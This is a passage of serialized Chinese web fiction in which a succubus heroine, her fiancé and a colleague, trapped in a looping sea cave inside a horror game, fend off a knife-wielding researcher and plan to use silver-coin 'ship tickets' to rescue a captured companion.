之芙用一只手扶住了夕同简的肩膀。大概因为夕同简常年锻炼, 抱着她跑步也显得很轻松,半点儿也不颠簸,是个很省心的座驾。 他却低头, 干燥却灼热的嘴唇擦过之芙的耳朵,热气扑进去,痒痒的。黑暗中他压低的声音沙哑又性感:“再抱紧一点。” 他用一只手强制地圈过之芙的手,让之芙两只手圈住他的脖子,像是小动物一样圈在他身上。他这才稍感满意。 之芙:“……” 她觉得有点奇怪。不是明明抱得很稳却要她抱住夕同简的那种奇怪,而是……她觉得夕同简变得很奇怪。 从进入游戏开始,她就感觉到,虽然夕同简温柔的笑脸下总是藏着不容置疑的强势,但是他其实是一个温和且绅士的男人,很注意社交距离,即使他们是未婚夫妻,他也尽量不让她感到冒犯,如果情势所迫要亲密接触,他就会主动提醒或是解释。 而且,他一直脾气很好。 无论是在研究所她要求夕同简躲在桌子下面,还是在海岛上她跟戎火戎淼接触,夕同简都好脾气地包容了她,笑眯眯地看着她。 但现在,虽然他还在笑……之芙却隐约察觉到有哪里变得不一样了。 发生什么了?之芙只记得,在自己陷入沉睡之前,夕同简还没有变成这样。她记得那个时候,她本来在跟夕同简吵架来着……吵架的原因是什么? 好像是,夕同简想起了他失去的记忆,想起了上个游戏的事情,他发现她不是真心爱他,而是为了他的钱。 之芙以为他嘴硬心软,想牵自己的手,让其他人误会了他是渣男,结果那是那个黑影在勾她的手,是之芙冤枉了他…… 夕同简还嘴硬说什么…… ‘他不是她的未婚夫,没有理由照顾她’什么什么的…… 正想着,忽然,之芙感觉耳垂一热,是夕同简说话时潮湿的舌尖有意无意地蹭过她的耳垂。 “别分神。”黑暗的洞穴中他的声音幽幽地,“再抱紧点……跟丢了你的未婚夫,你可就逃不出去了。你不想被那群疯子抓住吧?” “无论如何。”他状似漫不经心地强调,“你只有我这个未婚夫。” ……她知道夕同简身上哪种奇怪的感觉从哪里来了。 在她睡着了之后,到底发生了什么? 之芙收紧手臂,环住他。 “夕同简……我睡着之后,发生了什么?” 夕同简却不答反问:“你梦到了什么?” 之芙就等着他问呢。于是嘿嘿一笑,说:“我梦到了一个男人。” 夕同简脚步一顿。 之芙只当做不知道,继续慢悠悠地说:“我梦到了一个长得很漂亮的男人,他躺在实验室的水箱里——就是我在研究所里见到的那个水箱。我走到他面前他就醒来了,他告诉我他是我的未婚夫,让我来找他……” 夕同简的手臂收紧了,牢牢地抱住他。但片刻后他冷冷地反问:“就像你骗我你是我的未婚妻那样吗?” 之芙才不理这个嘴硬的男人,她继续说:“我没有被他蛊惑,然后他又让我看到了奇怪的场景。在梦里,我看到你和其他研究员用束缚带把他捆在手术台上,用手术刀解剖了他……” 夕同简:“……” 夕同简这个沉默不是心虚,明显是无语的意思。 “你信了?”他看过来,眼神沉沉。 “我当然没信!”之芙说,“我不是看过你的实验记录吗?” “挑拨离间。”他讥讽地挑了挑唇。 “还有,他跟我说他不是魅魔……夕同简,你搞错了。” 想到这个之芙就有点生气!她还以为自己能在游戏里遇到同类,结果又是个骗人的……她生气地用手指戳了戳夕同简的脸,而夕同简似乎恢复了好脾气,任由她的手指乱动。 “哼,还以为……”游戏结束了她要投诉这个游戏虚假营销! “还以为什么?”夕同简问。 “没什么。”之芙顿了顿,她发现夕同简似乎有些高兴的样子,倒是一点儿也不在意自己在梦里被抹黑,“你不好奇祂是什么吗?你不是一直想研究祂吗?” “……”夕同简再次沉默了。片刻后他开口:“我研究不了祂。” “为什么?”这次轮到之芙奇怪了,“你们不是一直都做得挺好的吗……虽然方向错了。” “祂明显有自己的思想,智力水平甚至比不少人类要高,我们深入海岛许多次也没有发现同类,如果按照戎淼的说法,如果祂独自生活、没有形成种族的话,这代表祂的能力超出人类的想象。” “与其研究他,不如还先想想……怎么逃出这里吧。” 夕同简抱着她,跑过了一个转角。 他停下了脚步,看向石壁。 “我们……又回来了。” 石壁的一侧,赫然是那一幅眼熟的壁画。 第78章 《大卸八块》 “砰!!!” “呼……呼……” 严雾跑过一个转角, 然后停下了脚步。 这已经是她第六次回到原点了。 前方石壁上的颜色在转角露出了隐约的一点儿颜色,严雾闭了闭眼,心沉沉地落了下去。 有那么几秒钟她的思绪游离着飘过了几个奇妙的问题: 她到底为什么要来这座岛上? 哦对……她是为了做研究, 相信自己研究的是一个未曾发现的神秘物种,研究成果发表后她能青史留名……没想到研究没成, 反而马上就要把自己搭上了。 她该怎么办?她还能逃出去吗……她会死吗? 其他人也不见了……她会孤零零地死在洞穴里吗?像是那个画壁画的人一样……死在寂静的洞穴里, 不知道有没有人能发现她的尸体…… 其他人现在还好吗?戎火能打得过那群研究员吗?他站在人群的最里面,他能逃出来吗?她不知道那些人手里是不是也带着枪……戎火对大陆人的语言和武器一窍不通,他能对付得来手枪吗? 戎淼和小赵在一起……她上了船之后会发生什么?她和小赵会像是传说中那样, 被“渡到永恒安宁的彼岸”吗? 说起来, “永恒安宁的彼岸”又是什么地方?不会是天国吧…… ……她最担心的,还是夕同简和之芙。 他们现在怎么样了?他们有顺利逃出洞穴吗?还是像自己一样反复迷路…… 好吧, 严雾不得不承认, 她和夕同简, 和那群研究员都是因为自己的自负而送命, 那戎火和戎淼也一样做错了事, 他们都带着某种目的登上海岛,如果说他们是罪有应得,如果说他们的队伍里还有谁是无辜的人, 那就是之芙了…… 她只不过是想跟着自己的未婚夫来岛上看看, 结果却遇到这样的事情, 无论怎么说, 她也太可怜了…… 这几天发生的一切就像是一场噩梦,如果她是身处什么恐怖片或者恐怖游戏里那一切就说得通了, 如果在恐怖片里,那最后能活下来的应该就是之芙这样无辜的、又可怜的女孩了吧…… 严雾摸了摸兜里的手枪,她知道这些手枪里能装的子弹不多, 夕同简带走它的时机太着急,大约也来不及带上弹匣。 夕同简让她独自逃跑,还把手枪留给她,就是认为她才是他们之中生还几率最大的人,不想拖她的后腿。 但严雾抿了抿唇,在心里下定了决心——她要主动去找他们。 这个决心一定,整个人仿佛一瞬间在漆黑的洞穴里找到了方向,她定了定神,转身走向了身后的洞穴—— 下一秒,一只手伸出来,拦住了她。 血淋淋的小刀瞬间抵上她的脖子,严雾屏住呼吸。 拐角的黑暗处浮现出一张苍白的脸。严雾呼吸一滞,差点叫出来。 几秒钟后她意识到这张幽幽地、盯着她的脸令人十分的眼熟,本该是令人安心的一张脸。 然而此刻她心里却咯噔了一下。是……锐文宇…… 就是那个,他们刚刚登陆海岛上,就跟小赵吵架的男人。 严雾跟他一向不熟,她跟小赵关系好,自然就跟锐文宇没什么交流,更何况,本身并不精通学术,是被长辈安排来到实验室混日子的,按照锐文宇轻蔑的说法,她和小赵都是“小镇做题家”,自然不是他这样的“贵公子”需要发展交际的对象。 也是因为如此,锐文宇一直很看不惯小赵作为副队带队来科考,在他眼里,这种殊荣当然是属于他的,他才是那个能指挥所有人的统治者,当然也不服其他人对他的管教。 在研究所的时候,他就闹过好几次,要求更换副队,只是都被夕同简压了下来。 这种人,一旦让他得意或许还好说,若要让他失意……从登上科考船开始,他对小赵的各种找茬、摆脸色、鼻子不是鼻子眼睛不是眼睛的表现,就已经说明了一切。 “别动!”锐文宇不知道她在思考什么,用力地把小刀抵在她的喉咙上。 他的手在抖,却用力拉开了严雾套在外面的拉链,伸手在她的脖子上扫过一圈,摸索着什么。 “快说!你有没有那个东西!” “……什么东西,我不知道你在说什么。”严雾强做镇定,一只手悄悄地伸到了口袋里,握住了手枪。 她还有手枪……只是不知道手枪里有多少发子弹,也不知道洞穴深处藏了几个人。 “别装傻!你跟着那群蛮子,你会没有那个硬币?快拿出来!” “我只是个普通的研究员,跟着你们一起上岛的,我哪里有什么……” “别废话!”脖子传来一阵刺痛,严雾下意识抬起头,只见锐文宇眼眶肿大,脸色通红,浑身上下散发出一种不正常的精神质,奇怪,虽然锐文宇平常就过于自大易怒,但怎么突然变成这样…… “那个姓赵的都有!咱们研究所就你跟他关系最好,你骗谁呢!” “……我真的没有。”严雾道,她也没什么瞒着的必要,“那两个银币是戎火戎淼两个人带着的,他们有奇怪的信仰,你又不是不知道。你放轻松……别动怒。你有没有想过为什么是戎淼带着小赵上船?” “哪有为什么!明明就是你们几个,想把我们丢下逃命!” “是因为只有两个银币,小赵受了伤,戎淼带着他先去求救……” 不知为何,严雾敏锐地察觉到,在她提到“小赵受了伤”之后,锐文宇的表情反而更加激动了。 “锐文宇,我知道你一直不喜欢我和小赵。但是,你想一想,办公室里那些小打小闹真的有必要上升到生死问题上吗?我们都只是普通人,不是杀人不眨眼的恶魔……” 严雾知道,在研究所的时候,锐文宇就对小赵、她还有夕老师都心怀不满了,但她总觉得,和平世界里的打打闹闹,无论如何也不是真刀真枪地杀人的原因。 “你让他们放下刀,我们好好谈谈可以吗?你可以搜我的身,我发誓我没有银币。如果我有银币,我完全可以给你,让你放我一命,你离开这里之后也没有理由不来救我。” 严雾一边看着他的表情,一边斟酌着字句:“其实我们现在还完全没有到那个地步不是吗?你看,我们有衣服,有食物,没有人受伤。戎淼和小赵他们也没有理由不来救我们。” 说话的声音足够掩盖黑暗下的细微动静,严雾在兜里握住手枪,悄悄地上膛。 如果他搜身的话,就会发现她兜里带着的手枪……无论如何她也不能让他们搜身,这是现在她唯一可以保证自己安全的武器了。 严雾握着手里的枪,心里其实也没有底。她说的话是对锐文宇说的,又何尝不是对自己说的? 锐文宇慢慢低下了脑袋。”其实我们可以好好坐下来说话的。我没有害你的理由,我们是同事不是吗?“ 不知道是哪个字戳中了他的神经,严雾慢慢地说着话,他却忽然抬起头,满脸不知是愤怒还是激动的潮红,他面目狰狞,怒吼道:“我有!我有!!” “……什、什么?”严雾傻了一下,不知道他在说什么。 锐文宇喘着粗气,他颤抖着,口水几乎喷了严雾一脸,然而他本人浑然不觉的模样,像是中了魔一般令人胆颤,手下更加用力,严雾不敢痛呼出声刺激他,只能一边尽力低下头偷瞄他的手,一边悄悄地把手枪从兜里拔出来。 忽然,她的动作顿住了。 因为她发现……锐文宇的袖子上,全是血。 那血量绝对不是正常受伤能流出的血,几乎浸透了他整个袖子,散发出一股浓浓的血腥味,只是因为她太紧张所以没有注意到罢了。 见她注意到自己袖子上的血,锐文宇顿了顿,冷笑一声:“我有理由。” “因为……是我推了赵明。” 严雾倒吸一口凉气。 “但是!但是那是个意外!如果真要说也不是你的错,是戎火戎淼,还有夕老师和我判断错误,那是不小心误伤,谁也不能责怪你不是吗?我觉得……” 刀锋切入血肉,止住了她想说的话。 只听锐文宇阴森地道:“但我是故意的。” 严雾这下是真的呆住了。 “谁叫他,无论在研究所还是在考察里,都挡了我的道呢?那么混乱,他要是死了,谁能注意到?再说了,又不是我的错,明明是戎火下手太重,该坐牢该偿命的人是他才对!” “他怎么不去死!他怎么这么好命没死掉!”锐文宇一阵咆哮,严雾感觉他的精神不正常地亢奋,他的身体也颤抖得更加厉害了,“他就该去死!去死!” “……” “还有你,还有夕同简,你们都该去死,就像那个梦里一样!” ……看来跟他是没有什么好说的了。严雾咬牙,从兜里抽出手枪,黑暗中她凭借直觉转手,瞄准—— “砰!!!” 一声沉闷的响声回荡在山洞里,身后的人软趴趴地倒在了地上,而严雾握着手枪,一脸茫然——她没有开枪。 她惊愕地转头看去,只见之芙站在她的身后,手里拿着一块大石头,也惊魂未定,气喘吁吁地看着她。 第79章 《大卸八块》 慈悲还是嘲讽? “芙芙!”严雾又是吃惊又是茫然, “你醒了!你怎么会在这里?” “嘘!”之芙把石头丢在一旁,食指抵着嘴唇,做了个噤声的动作, 她四周看了看,身侧扶着她的夕同简对她摇头, 示意旁边没人。 “这周围全是人。”之芙对严雾说, “你先别着急问,你也是迷路回来的吗?” “对……”严雾顺着她的视线往旁边看,黑漆漆的洞穴里看不清楚什么东西, 但之芙小心翼翼的动作却令她也跟着放轻了声音, “我出不去,好像遇到鬼打墙了, 这已经是我第六次回到这个地方来了……” “对、对了!”她想起什么, 手忙脚乱地把手里的枪拿出来, 取消了上膛, 这才松了口气。 之芙拉起严雾, 给夕同简使了个眼色,夕同简扶住之芙,之芙说:“跟我们来。” 严雾跟着他们走进了一个转角, 夕同简示意严雾跟着他们一起靠着墙壁的一处隐蔽的角落蹲下, 蹲下后夕同简挪来一块大石头挡在了三人面前, 他又去拉起躺在地上的锐文宇, 把他拉到了大石头后面。 石壁上刚好有一处内陷,石头抵在外面, 不仔细看,石壁和石头就像原本就连在一起似的,是一处天然的藏身之处, 刚好能遮住他们的身形。 把留在地面上的脚印扫掉,夕同简回到石头后面,蹲下身探了探锐文宇的人中。 “还活着。”他下定论, 严雾这才松了口气,瘫倒似地坐在地上。 之芙看着她喘气的样子有些狼狈,不由好笑:“又不是你打得他,就算要担心,也应该是我吧。” 严雾抬起头,有些纠结:“芙芙,如果不是你来了,我就真的要开枪了,要是真杀人了……唉。”毕竟只是个常年呆在研究所里的普通人,对于亲手杀人这种事,无论做多少心理建设也永远不能接受。 相比于她,之芙就轻松多了——反正只是个游戏里反派NPC,杀反派NPC这种事,在其他游戏里见得还少吗? “不是你的错。”夕同简也安慰了一句,“幸好你没有贸然开枪,要是引起其他人注意就更麻烦了。” “其他人?”严雾几乎是立刻就想到了什么,“那些研究员吗?” “嗯。”夕同简言简意赅地解释,“他们应该是在找我们。我和之芙已经遇到他们几次了,你没遇见过他们?” 严雾看向了还躺在地上的锐文宇,她只遇到了他,换句话说她第一次就遇到他,也不知是幸运还是不幸。 “他们来了。”夕同简随着注意着大石头外,此刻往回缩了缩,示意严雾往外看。 外面,几个研究员结着伴,拿着手机电筒走过去。手机电筒能照亮的地方有限,自然发现不了躲在石壁边的他们,但他们的脚步从严雾面前过去的时候,看着他们像是搜寻犯人似的表情,她还是屏住了呼吸。 那群人没有发现他们,也没有注意到丢在一旁的“凶器”大石头,径直走了过去。 严雾这才缩回了身体,躲回了石头后面。她看到夕同简和之芙靠在石壁上,之芙的脑袋枕着夕同简的肩膀,看起来有些虚弱的样子:“芙芙?” “没事。”之芙摸了摸额头,“就是刚醒,有点累……” “她梦到了我们的实验体。”夕同简沉声道,他简单地把之芙梦到的内容跟严雾讲了一下,“这跟戎淼的说法是能对得上的,她没有骗我们。” 严雾听着也是一愣,她一只脚踢了踢倒下底下的锐文宇,把自己遇到锐文宇的事情经过也讲了一遍。 交换信息之时,又有两波人穿过了他们躲藏的山洞,他们似乎跟他们一样也迷了路。 “所以我想,他们可能都是被锐文宇鼓动的……他很可能早就怀疑我们了。” 在他们在巨船前遇到的时候,那时候锐文宇就表现得很奇怪了。后来第一个醒来,大喊大叫地叫醒了其他人的人,也是他。 夕同简若有所思的样子。 “可是我想,我们之间也没有到你死我活的程度吧?只要戎淼能带人回来救我们,我们之间的误会很轻易就能解开……”严雾顿了顿,又说,“现在锐文宇也晕过去了,不会有人煽风点火了,夕老师,研究所的大家一直都很尊敬你,如果你把事情说清楚的话,大家肯定也会相信你的!” 她挥着拳给自己打气,说完了后满怀期待地看向夕同简。 可是,和她想象中的不同,夕同简没有肯定她的想法。 他静静地与她对视,然后说:“如果她不回来呢?” “不可能!戎淼姐不是那样的人!而且,而且戎火还在这里,她总不可能不管自己的哥哥吧。” “……这是我们对这座海岛的第三次考察。”夕同简说,“你应该看过资料,在第一次考察之前,在我们还没研究之前,直升机和各式的地形探测仪器就已经环岛考察过适合的登陆地点了。” “这座山洞临海,泊船的地方是悬崖,直通大海。” “可是,从来没有任何一个报告里提到过,海岛上还有这么一座山洞,更别提那艘巨船了。” “如果她不是不回来,而是找不到回来的路,怎么办?” 严雾张了张嘴,一时间不知道说什么好。 “其实我们也不知道那艘船会去往哪里。”夕同简说。 是啊,能通过船逃出去只是他们的想法,他们唯一的路。 可是,他们对那艘船是如何出现的都一头雾水,甚至也不知道该怎么驾驶那艘船,那艘船的目的地,是他们能控制的吗? “如果能找到戎火就好了。”她蹲下来,戳了戳昏迷的锐文宇。虽然戎火跟他们语言不通,但戎淼不在这里,戎火就是最了解那艘船的人。“不知道戎火去哪里了,锐文宇也没跟我说。你们在路上遇到的其他人有提到过戎火吗?” 两人都摇了摇头,之芙问:“找戎火做什么?现在人来人往,应该不安全吧。与其找戎火,不如我们把其他人都砸晕,然后喊一喊……说不定他能听到。” 严雾说:“万一戎火能有什么办法呢?他了解这里。再说了,如果他知道从哪里能拿到船费的话……” 船费。这才是最关键的东西,这才是唯一能离开这里的东西——无论去哪里。虽然他们现在困在这里,即使知道怎么拿到,也不太可能从石壁上凭空出现。但万一呢?走入绝境的人,总是更容易产生不切实际的幻想。 “你是说得对,我们应该先去找戎火。”夕同简站了起来,踢了踢,“至少我们能从他那里知道点什么。” “船费?”之芙忽然问,“那是什么东西?” 夕同简之前已经跟她讲过了她昏迷时发生的事情,但碍于时间原因,他只挑了那些重要的来讲,之芙只知道有船费这个东西,但不知道是什么样子的。 “戎火和戎淼的船费是一串项链,上面是串在一起的两枚银币,你应该见过的。” ——之芙确实见过。 之芙说:“我远远地看过一眼,是不是两枚比一元硬币略大一些的银币,有点像是‘银元’。正反两面都光秃秃的,上面没有花纹也没有字,但是摸着有一行凸起的小字,不知道是什么字符。” 两人同时一愣:“你知道?” 这么远的距离,能看得这么清楚吗?而且,他们也见过那两枚银币,只是没注意到上面还有小字这样的细节……之芙是怎么看到的?或者说,她是怎么“摸到上面有一行凸起的字符”的? 之芙顿了顿,从自己的衣服里,摸出了两枚银币。 和戎火戎淼为了方便携带而穿成项链不同,之芙手心里的两枚银币散落着,正反光洁如新,肉眼绝对看不出来上面还有什么小字,真的就像是之芙所说的那样,要亲手摸过,才能摸到刻在银币最边缘的上的,一行很小的字。 “……字体结构后看起来有点像是石壁上写着的那两个字。”夕同简摸了摸后说。 石壁上写的那两个字,也就是壁画的尽头那两个“快跑”。 “你怎么拿到银币的?”夕同简百思不得其解地看向坐在沙地上,一脸茫然,又一脸理所当然的之芙。 之芙说:“不知道,我醒来之后就发现它在我的衣服里,还以为是你们放进来的。” 三人面面相觑。 “我只是在想,如果我是戎淼嘴里那个‘天选之人’,我应该用不到这个东西吧?船票什么的……戎淼还说过,他们可以‘跟随祂选中的人登上神明的渡船’,所以如果戎淼说的是真的,如果我真的是那个被选中的人……这个东西,是不是用不到?” 如果真的用不到的话,梦里的那个人怎么会把银币放在之芙的身上? 他把他们一路逼到这个境地,现在却给予他们离开的船票……为什么?是慈悲,还是嘲讽? 夕同简拿过银币,细细地摩挲着银币上的字迹。 这字迹又是什么意思? 现在,能看懂这个字的意思的只有一个人了。 夕同简抬头:“我们去找戎火,然后去船边。” 第80章 《大卸八块》 真的要救戎火吗? 去船边是很简单的事情, 绝不可能找不到路。反正无论往外走出多远,最后都会鬼打墙一般回到这里,回到这个壁画前, 这里好像只有一条路,通向壁画的尽头, 通向那个在戎火的描述里‘像是码头’一样的悬崖, 通向那艘巨大的黑船。 “我们不知道他们寻人的规律,等下一波人来,我们跟在他们身后过去。” “锐文宇怎么办?” 夕同简摸了摸他的脖颈:“一时半会儿醒不过来。放在这里就行, 他最好祈祷我们能逃出去, 这样才会有人来救他。” 严雾点点头,刚刚之芙用石头砸晕锐文宇的时候她吓了一跳, 还以为这个人就死掉了。 “如果我们去到那边, 可是船不在了怎么办?” 严雾难免忧心忡忡。毕竟, 谁也不知道船是什么时候停在那里的, 更不知道是谁把船停在那里的。 万一他们历经千难万险终于赶到, 船却不在,那不就白干了吗? “不会的。”之芙晃了晃手里的银币,“如果没有船, 祂干嘛要给我船票?” “也对……” 严雾差点忘了这茬。她一脚踢开地上的锐文宇, 挤到之芙的身边。 支着腿坐在之芙另一边的夕同简抬头看了她一眼, 但她完全没有察觉。她自然地挽起之芙的手臂, 把脸靠在之芙的肩膀上蹭了蹭,低低地喊:“芙芙……” “怎么了?”之芙问。 “你救了我, 我还没谢谢你呢。” “只是一点小事啦。”之芙摆手,挺起骄傲地小胸膛,自觉已是一个可供人倚靠的坚实臂膀了。 夕同简拨了拨躺在地上的锐文宇:“你急吼吼抱着大石头要冲上去帮人的时候, 看起来可不像是小事。” 之芙喝了药,身体还虚弱。两人在转角看到严雾被挟持的时候,他也没想到之芙会突然从他的怀里跳出去,随便捡了个石头就冲上去了——对面那两人,一个人拿着刀,一个人拿着枪,她就靠一块石头直入战场,还偏偏把人敲晕了过去。 夕同简真不知道该惊讶还是该后怕好。 闻言,严雾的表情更加崇拜。 之芙心虚:“咱俩什么关系,我救你是应该的!而且,我也没帮上什么忙……” 不是说她是游戏主角,是天选之人吗?结果一路都看着其他人解谜闯关…… 夕同简冷不丁地插嘴:“你俩什么关系?” 严雾星星眼,之芙说:“呃,师母和学生?所以罩着她是应该的嘛。” 夕同简这才稍感满意,矜持地点点头“嗯”了一声。 那些研究员还不知道什么时候才会来,严雾四处看了看,终于问出了她一直很好奇的那个问题:“芙芙,你在梦里见到的那个男人是什么样子的?” 她早就好奇了!所有人都对那个奇怪的男人讳莫如深,但人是这样,越是避忌就越容易勾起好奇心。 “食梦貘是什么样子的?我玩过一个游戏,里面就有食梦貘,是个像是猪一样的动物。卡戎又是什么样子的?神话里说,他是个留着长黑胡子的老头子。”说到这里,严雾反感地皱起眉头,“不过,不会在梦里,是个脏兮兮的老头子对你说‘是你的男朋友’吧……那也太恶了。” “他长得挺好看的。”之芙说,“你见过的呀,就是你们实验室里那个男人。不过,梦里的他还要更好看一点。” “我好几次在梦里看到他,他都漂浮在一个椭圆的容器里,我也不知道那些液体和容器是什么,他浑身苍白,皮肤光滑,发丝黑得像是乌鸦的羽毛……长相嘛,他是那种长相很艳丽的男人,像是艳丽的霸王花一样。” “霸王花?又大,又漂亮,又诡异,会吃人?是这个意思吗?” “差不多。”之芙点头说,“他还挺壮的,不是那种美少年样式的男人。五官深邃,不过更吸引人的是他的眼睛,他的眼睛很清澈,像是放在山泉水里的黑色果核。他应该是用眼睛或者眼神控制人的,每当他想要控制我做什么或者控制我的记忆的时候,就用那双很特别的眼睛看着我。” 严雾倒吸一口冷气:“那你被控制了吗?” “没有。”之芙又骄傲了,“他手段太低啦,怎么可能勾引到我。” 哼哼,她可是魅魔学院的优秀学生! 还没骄傲两秒,周围忽然一挤,夕同简挤了过来,硬生生把严雾挤开了。 之芙:? 夕同简对被挤开的茫然的严雾视若无睹。他盯着她的眼睛,表情认真得像是虚心求教的好学生,他问:“那怎么样才算是手段高?” 问这话,你可算是问对人啦!之芙信心满满地抬头,内心已经在几秒钟之内把魅魔学院读过的《魅魔吃饭指南》来回翻了几遍,正准备抛出一段长篇大论,好好调.教自己的这个小白未婚夫,忽然抬头,对上了夕同简的眼睛。 昏暗的视线下,他的目光直白而澄澈,像是一汪清泉,又像是一捧月光。 他专注地看着她,仿佛世界上只有她存在,而他已经这样注视她很久很久了。 之芙一愣。莫名地,在他专注的视线下,原本一肚子喷薄待发的长篇大论,就这样卡在了喉咙里。她张了张嘴,人生第一次发现自己竟然可能有点结巴的病潜伏在身体里:“啊……那,那个,就是……” 夕同简看着她结结巴巴的样子,狐狸似的眼睛里含了点笑:“像这样?” 他握住了她的手。黑暗中,缓缓地摩挲着她的掌心:“这样算手段高吗?不过我觉得应该不算吧。这只是最基础的,别的,我不太懂。你教教我?” 之芙张了张嘴。勾手心,确实只是最基础的。但是……但是…… “砰——!” 身边忽然响起一声巨响。之芙蹭地一声站起来,仿佛逃避什么似的,看向了巨响的来源—— 是一块石头,忽然从石壁上掉了下来,刚好落在他们身边。不幸之中的万幸,没有砸到人。 “嗯?”严雾也惊了,“怎么会掉下来一块石头?” 这里的石壁很光滑,而且洞穴里有水,看起来曾经是个水下洞穴,这种裸露在外面的,可能会掉下来的石头不应该已经被海水侵蚀得光滑了吗? 夕同简若有所思地看着突然掉下来的石块,那石头就落在他的身边,准确来说是他的头顶,幸好他反应快闪了一下,才没被砸到。 “意外吧。”他轻描淡写,眼里闪过一丝笑意。 “以后可得小心一点……”严雾嘟嘟囔囔的话还没说到一半,忽然又被一阵从外面传来的脚步声打断了。 “啪嗒”“啪嗒”…… 三人同时看向外面,拐角处,两个人影从黑暗中浮现,身形一点点变得清晰。 “打晕?”严雾做着口型,示意夕同简和之芙。 打晕是最方便的。把他们放在这里,一时半会儿也不会有人来。 “不。”夕同简无声地摇头,也做着口型,“跟着他们。如果他们找到了戎火……” 几句话之间,两人身影由远至近,他们的声音也逐渐变得清晰起来。 “……奇怪……” “好奇怪,刚刚不是还在那边吗?怎么有突然转到这里了?” “我记得从那个拐角走进去,是往外的路。这里是回去的路对吧?” “我们是不是走错拐角了?奇怪……一拐弯就到了这里。” “有什么好奇怪的,这不是鬼打墙吗?鬼打墙也讲道理守规律?” “哈,也对。” 脚步声从他们面前过去了。大约是为了省电,两个人也只用了一个手机手电筒来照明,小小的手电筒随意地扫过面前的石堆。 “走了这么久,怎么还没遇到锐哥?” 锐哥?锐文宇?他们当然找不到,现在在这里躺着呢。 之芙低头看了看躺在地上不省人事的锐文宇,她那一石头好悬没给这男的砸死,不过他该庆幸自己的脑袋还比较硬,没被之芙砸出一个洞,要是真出血什么的,现在这个环境可没人给他处理伤口。 “都说了鬼打墙,谁知道。”说话的那个研究员的语气有些不耐烦,似乎很不想提起对方,也不知道是害怕还是什么。 “你说,那个船……” “别说了。”接话的研究员语气更加不耐烦,但这次他的声音里透出浓浓的恐惧和疲惫,明显是不愿意多谈。 “……” “我不想说这些。”研究员的语气放缓了些,“难道你很想聊这些?夕老师……” “……哈,无聊嘛。咱们都绕着这里找了多少圈了。” 一开始说话的男人接了一句,打断了对方话,却没有再谈下去。他们的脚步变快了。 是觉得对不起夕同简和他们,所以不愿意多谈? 可是找人倒是很仔细。 怎么会对不起?要是多聊几句你们的情况,就更对得起了。之芙心想。 找人的两个研究员走出一段距离,夕同简打了个手势,示意他们跟上。三人从大石头后面绕出来,悄无声息地跟在了两个研究员身后。 两个研究员没有说话,这反倒是让他们的跟踪变得困难了一些。 “跟远一点。”夕同简做了个手势,在前面的人往后看的瞬间一把拉过之芙和严雾,躲在了石壁边缘。 得利于昏暗的光线,他们的身形很好地隐藏在了石壁的边缘,没有被发现。 两人模糊的声音从前方传来:“总感觉……” “感觉什么?” “没、没什么。” 距离很远,因此他们能用气音小声地交流几句。严雾问:“他们发现我们了吗?” “没有。”夕同简说,“他们应该很难看到。” “他们往哪里去?”之芙问,“这条路,好像不是往船边的那一条。” 他们在往外面走。而船的方向是直线。 三人互相对视。 “他们肯定有一个营地,研究员们轮流出来找人。”夕同简判断,“如果他们找到了戎火,大概也把戎火绑在营地里的。” “他们找到戎火了?” “不太可能吧……” 戎火是他们之中武力值最高的,真要算起来,肯定比夕同简和戎淼加起来都要厉害。 “那为什么他们不来找戎火?只来找咱们?” 严雾说:“戎火没枪。” 夕同简补充:“他不懂现代武器。之前几次科考之前我安排研究员们学野外求生课程的时候,有安排过戎火了解枪械。但他不懂大陆人的语言,也没学过科学或者数学……他不懂枪。” “跟着他们看看就知道了。” 又跟着研究员们绕了几个弯,面前豁然开朗。 这里是一处开阔的平地,洞穴大概半个足球场那么大,之芙一眼就认出来,这是当时她和戎火第一次进入山洞时停留的那个地方。明明那里也跟石壁很近,但不知为何绕了几个弯,最后会绕到这里来。 山洞里零零散散地坐着几个人,他们大概收拾了之前夕同简几人留下的东西,在山洞的中间架了一口大锅,里面烧着浑浊的水。 因为没有遮挡,他们几乎是一眼就可以看到—— 在大锅的旁边,绑着一个健硕的男人。研究员们用身上的衣服撕成了绳子,把他的手脚都捆在一起,他好像受了伤,地上有一摊不大不小的血迹,只不过昏暗的光线下看不出伤口在哪里。 虽然那个人背对着他们,看不清楚他的脸,但应该从身形来看,被捆在这里的人只可能是戎火。 三人心里一沉,不约而同地退回了上一个拐角,等到营地消失在视线里。 “戎火真的被抓了。他受伤了?” “他们有枪,要小心。” “怎么办?他的伤严不严重?” 三句话,异口同声。 三个人脑袋凑着脑袋,面面相觑。片刻后夕同简说:“人太多,又没有遮挡,大概率有枪。” 这几句话,就堵住了他们想要偷渡或强抢的可能性。 严雾说:“我们也有枪。” “太黑了,误伤怎么办?对枪……也得有命去对,太冒险了。” 之芙想了想说:“锐文宇还在那边躺着呢。交换人质,行不行?” 夕同简也略一思索:“看刚刚那两个研究员的态度……也很悬。对他们来说,最重要的可能不是锐文宇,也不是谁来领导他们,而是自己活着。他们绑着戎火大概就是想从他身上找到船票,肯定失败了。” 严雾忽然说:“芙芙,夕老师,我刚刚注意到一件事。” 虽然刚刚隔得很远,但是严雾和他们毕竟都是朝夕相处的同事,对他们也比夕同简熟悉得多。所以,她注意到了一些不寻常。 “我看他们都是散开着坐的。小李和老孙是师徒,平常他们俩在研究所里也是同进同出,关系很好。但是刚刚……我看到他们俩是分开坐在对面几米处的,而且还时不时地看向对方,动作很隐晦。” “我在想……” 说到这里,严雾顿了顿:“我在想,他们是不是觉得,现在只有戎火一个人,很可能也只有一张船票。所以……” 所以,他们都在心里暗暗警惕其他人抢走那张船票。 即使关系再好,也只是同事。谁能大义凛然到放弃自己的生命去救别人? 之芙从怀里摸出两枚银币,看向二人。 两人也回以复杂的视线,夕同简张了张嘴,没说什么,严雾直接问道:“真的要这么用吗?” 这可是他们身上唯一一张船票。 之芙点点头,说:“我想,如果我是什么‘天选之人’,按照戎淼的说法,我就不用船票了吧?你们跟着我一起,也不用船票?” “可是,万一那是假的呢?” 传说都可能是假的。但船票,却是切切实实地握在手里的救命稻草,是保命符。 这么珍贵的船票,之芙真的要拿出来救戎火吗? 80-90 第81章 《大卸八块》 “上船,或者,去死。”…… “锐哥也走了很久了吧?他还没回来吗?” “不知道啊, 有没有人见过他?” “谁知道。反正这鬼打墙又不可能迷路,担心什么,总会回来的。” “如果他是走着走着就走出去了呢?都说了鬼打墙, 谁知道会不会突然走出去。” “……” “不可能吧……” 又是一阵沉默。所有人坐在地上,裹着外套, 有人在发呆, 有人悄悄地摸向武器,还有人专注地看着洞口,仿佛期待着从哪里走出什么奇迹似的。 “该不会是……” 